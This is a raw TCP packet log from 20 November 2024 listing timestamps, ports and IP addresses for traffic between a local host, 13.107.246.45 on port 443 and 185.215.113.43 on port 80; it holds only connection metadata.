Nov 20, 2024 04:08:05.377194881 CET	62402	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.377219915 CET	443	62402	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.378441095 CET	62402	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.378453970 CET	443	62402	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.391688108 CET	443	62401	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.392256975 CET	62401	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.392290115 CET	443	62401	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.392626047 CET	62401	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.392632008 CET	443	62401	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.476280928 CET	443	62402	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.476340055 CET	443	62402	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.476394892 CET	62402	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.477010965 CET	62402	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.477022886 CET	443	62402	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.481470108 CET	62406	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.481501102 CET	443	62406	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.481570005 CET	62406	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.481849909 CET	62406	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.481872082 CET	443	62406	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.493066072 CET	443	62401	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.493220091 CET	443	62401	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.493297100 CET	62401	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.493366003 CET	62401	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.493366003 CET	62401	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.493405104 CET	443	62401	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.493429899 CET	443	62401	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.496846914 CET	62407	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.496887922 CET	443	62407	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.496979952 CET	62407	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.497118950 CET	62407	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.497148991 CET	443	62407	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.659765005 CET	62408	80	192.168.2.4	185.215.113.43
Nov 20, 2024 04:08:05.664652109 CET	80	62408	185.215.113.43	192.168.2.4
Nov 20, 2024 04:08:05.664761066 CET	62408	80	192.168.2.4	185.215.113.43
Nov 20, 2024 04:08:05.665059090 CET	62408	80	192.168.2.4	185.215.113.43
Nov 20, 2024 04:08:05.669903040 CET	80	62408	185.215.113.43	192.168.2.4
Nov 20, 2024 04:08:05.772149086 CET	443	62404	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.772918940 CET	62404	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.772955894 CET	443	62404	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.773525953 CET	62404	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.773533106 CET	443	62404	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.784837008 CET	443	62403	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.785398960 CET	62403	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.785440922 CET	443	62403	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.785898924 CET	62403	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.785912037 CET	443	62403	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.792843103 CET	443	62405	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.800128937 CET	62405	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.800179958 CET	443	62405	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.800507069 CET	62405	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.800522089 CET	443	62405	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.877099991 CET	443	62404	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.877165079 CET	443	62404	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.877218008 CET	62404	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.877496004 CET	62404	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.877505064 CET	443	62404	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.877516031 CET	62404	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.877521038 CET	443	62404	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.880953074 CET	62409	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.881047964 CET	443	62409	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.881167889 CET	62409	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.881277084 CET	62409	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.881309032 CET	443	62409	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.895832062 CET	443	62403	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.895894051 CET	443	62403	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.895951033 CET	62403	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.896125078 CET	62403	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.896125078 CET	62403	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.896141052 CET	443	62403	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.896152020 CET	443	62403	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.899147987 CET	62410	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.899224997 CET	443	62410	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.899338961 CET	62410	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.899475098 CET	62410	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.899511099 CET	443	62410	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.909126043 CET	443	62405	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.909260035 CET	443	62405	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.909328938 CET	62405	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.909378052 CET	62405	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.909413099 CET	443	62405	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.909461975 CET	62405	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.909477949 CET	443	62405	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.911678076 CET	62411	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.911706924 CET	443	62411	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:05.911792994 CET	62411	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.911957979 CET	62411	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:05.911987066 CET	443	62411	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.061136007 CET	443	62407	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.061619997 CET	62407	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.061681032 CET	443	62407	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.062081099 CET	62407	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.062099934 CET	443	62407	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.132756948 CET	443	62406	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.133410931 CET	62406	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.133424997 CET	443	62406	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.133950949 CET	62406	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.133955002 CET	443	62406	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.163639069 CET	443	62407	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.163790941 CET	443	62407	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.163861990 CET	62407	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.164401054 CET	62407	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.164443016 CET	443	62407	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.164469957 CET	62407	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.164485931 CET	443	62407	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.168261051 CET	62412	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.168303967 CET	443	62412	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.168386936 CET	62412	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.168524027 CET	62412	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.168533087 CET	443	62412	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.230376005 CET	443	62406	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.230529070 CET	443	62406	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.230631113 CET	62406	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.230645895 CET	62406	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.230653048 CET	443	62406	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.230853081 CET	62406	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.230859041 CET	443	62406	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.233577967 CET	62413	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.233678102 CET	443	62413	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.233788967 CET	62413	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.233908892 CET	62413	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.233935118 CET	443	62413	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.377257109 CET	80	62408	185.215.113.43	192.168.2.4
Nov 20, 2024 04:08:06.378168106 CET	62408	80	192.168.2.4	185.215.113.43
Nov 20, 2024 04:08:06.526719093 CET	443	62409	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.527265072 CET	62409	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.527348042 CET	443	62409	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.527923107 CET	62409	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.527939081 CET	443	62409	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.538681030 CET	443	62410	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.542444944 CET	62410	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.542525053 CET	443	62410	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.542867899 CET	62410	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.542896032 CET	443	62410	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.574516058 CET	443	62411	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.578557014 CET	62411	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.578593969 CET	443	62411	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.579252958 CET	62411	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.579262972 CET	443	62411	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.628416061 CET	443	62409	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.628489971 CET	443	62409	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.631831884 CET	62409	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.632052898 CET	62409	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.632052898 CET	62409	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.632098913 CET	443	62409	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.632131100 CET	443	62409	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.635451078 CET	62414	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.635497093 CET	443	62414	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.635596037 CET	62414	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.635746002 CET	62414	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.635770082 CET	443	62414	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.639974117 CET	443	62410	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.640036106 CET	443	62410	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.640177965 CET	62410	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.640249014 CET	62410	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.640283108 CET	443	62410	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.640328884 CET	62410	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.640348911 CET	443	62410	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.642519951 CET	62415	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.642554045 CET	443	62415	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.642637014 CET	62415	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.642741919 CET	62415	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.642760992 CET	443	62415	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.679083109 CET	443	62411	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.679240942 CET	443	62411	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.679739952 CET	62411	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.679739952 CET	62411	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.679739952 CET	62411	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.681678057 CET	62416	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.681726933 CET	443	62416	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.681824923 CET	62416	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.681926966 CET	62416	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.681943893 CET	443	62416	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.808058023 CET	443	62412	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.808743954 CET	62412	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.808774948 CET	443	62412	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.809241056 CET	62412	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.809247971 CET	443	62412	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.878285885 CET	443	62413	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.878875971 CET	62413	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.878907919 CET	443	62413	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.879656076 CET	62413	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.879663944 CET	443	62413	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.906274080 CET	443	62412	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.906411886 CET	443	62412	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.906758070 CET	62412	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.906758070 CET	62412	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.906758070 CET	62412	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.909388065 CET	62417	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.909475088 CET	443	62417	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.909569979 CET	62417	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.909693956 CET	62417	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.909714937 CET	443	62417	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.978250980 CET	443	62413	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.978395939 CET	443	62413	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.978477955 CET	62413	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.978523016 CET	62413	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.978538990 CET	443	62413	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.978550911 CET	62413	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.978557110 CET	443	62413	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.980786085 CET	62418	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.980812073 CET	443	62418	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.981065989 CET	62418	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.981199026 CET	62418	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.981209993 CET	443	62418	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:06.991767883 CET	62411	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:06.991789103 CET	443	62411	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.210558891 CET	62412	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.210602999 CET	443	62412	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.272398949 CET	443	62414	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.272769928 CET	62414	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.272789001 CET	443	62414	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.273279905 CET	62414	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.273286104 CET	443	62414	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.278386116 CET	443	62415	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.278646946 CET	62415	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.278667927 CET	443	62415	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.278991938 CET	62415	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.279000044 CET	443	62415	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.325129032 CET	443	62416	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.325556993 CET	62416	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.325603962 CET	443	62416	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.325824976 CET	62416	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.325839996 CET	443	62416	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.371860027 CET	443	62414	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.371934891 CET	443	62414	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.372168064 CET	62414	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.372351885 CET	62414	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.372351885 CET	62414	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.372365952 CET	443	62414	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.372379065 CET	443	62414	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.374481916 CET	62419	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.374573946 CET	443	62419	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.374856949 CET	62419	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.374922037 CET	62419	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.374939919 CET	443	62419	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.381726980 CET	443	62415	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.381784916 CET	443	62415	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.381840944 CET	62415	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.381911993 CET	62415	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.381928921 CET	443	62415	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.381968975 CET	62415	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.381977081 CET	443	62415	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.383683920 CET	62420	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.383708000 CET	443	62420	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.383775949 CET	62420	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.383878946 CET	62420	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.383891106 CET	443	62420	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.432754040 CET	443	62416	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.432900906 CET	443	62416	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.433106899 CET	62416	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.433106899 CET	62416	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.433106899 CET	62416	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.434690952 CET	62421	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.434722900 CET	443	62421	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.434796095 CET	62421	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.434904099 CET	62421	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.434912920 CET	443	62421	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.556951046 CET	443	62417	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.601269960 CET	62417	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.622348070 CET	443	62418	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.663747072 CET	62418	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.743455887 CET	62416	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.743496895 CET	443	62416	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.817922115 CET	62417	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.817954063 CET	443	62417	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.818413019 CET	62417	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.818419933 CET	443	62417	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.818758011 CET	62418	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.818774939 CET	443	62418	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.830487967 CET	62418	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.830522060 CET	443	62418	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.914526939 CET	443	62417	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.914742947 CET	443	62417	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.914814949 CET	62417	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.921210051 CET	62408	80	192.168.2.4	185.215.113.43
Nov 20, 2024 04:08:07.921585083 CET	62422	80	192.168.2.4	185.215.113.43
Nov 20, 2024 04:08:07.924453974 CET	62417	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.924474955 CET	443	62417	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.924491882 CET	62417	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.924504995 CET	443	62417	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.925914049 CET	443	62418	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.926074028 CET	443	62418	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.926137924 CET	62418	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.926244974 CET	80	62408	185.215.113.43	192.168.2.4
Nov 20, 2024 04:08:07.926305056 CET	62408	80	192.168.2.4	185.215.113.43
Nov 20, 2024 04:08:07.926470995 CET	80	62422	185.215.113.43	192.168.2.4
Nov 20, 2024 04:08:07.926541090 CET	62422	80	192.168.2.4	185.215.113.43
Nov 20, 2024 04:08:07.930088997 CET	62418	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.930116892 CET	443	62418	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.930141926 CET	62418	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.930171967 CET	443	62418	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.935029984 CET	62422	80	192.168.2.4	185.215.113.43
Nov 20, 2024 04:08:07.939878941 CET	80	62422	185.215.113.43	192.168.2.4
Nov 20, 2024 04:08:07.947446108 CET	62423	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.947504997 CET	443	62423	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.947570086 CET	62423	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.948487043 CET	62424	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.948524952 CET	443	62424	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.948585033 CET	62424	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.948633909 CET	62423	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.948653936 CET	443	62423	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:07.949071884 CET	62424	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:07.949091911 CET	443	62424	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.022969007 CET	443	62419	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.023683071 CET	62419	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.023695946 CET	443	62419	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.024286985 CET	62419	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.024293900 CET	443	62419	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.036756039 CET	443	62420	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.037244081 CET	62420	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.037281990 CET	443	62420	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.037815094 CET	62420	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.037838936 CET	443	62420	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.096909046 CET	443	62421	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.097258091 CET	62421	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.097278118 CET	443	62421	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.097723007 CET	62421	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.097728014 CET	443	62421	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.125547886 CET	443	62419	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.125618935 CET	443	62419	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.125674009 CET	62419	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.125786066 CET	62419	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.125798941 CET	443	62419	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.125808001 CET	62419	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.125813007 CET	443	62419	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.128348112 CET	62425	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.128396988 CET	443	62425	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.128456116 CET	62425	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.128593922 CET	62425	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.128609896 CET	443	62425	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.138005018 CET	443	62420	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.138072014 CET	443	62420	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.138127089 CET	62420	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.138233900 CET	62420	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.138263941 CET	443	62420	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.138288975 CET	62420	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.138302088 CET	443	62420	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.140505075 CET	62426	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:08.140533924 CET	443	62426	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:08.140600920 CET	62426	443	192.168.2.4	13.107.246.45
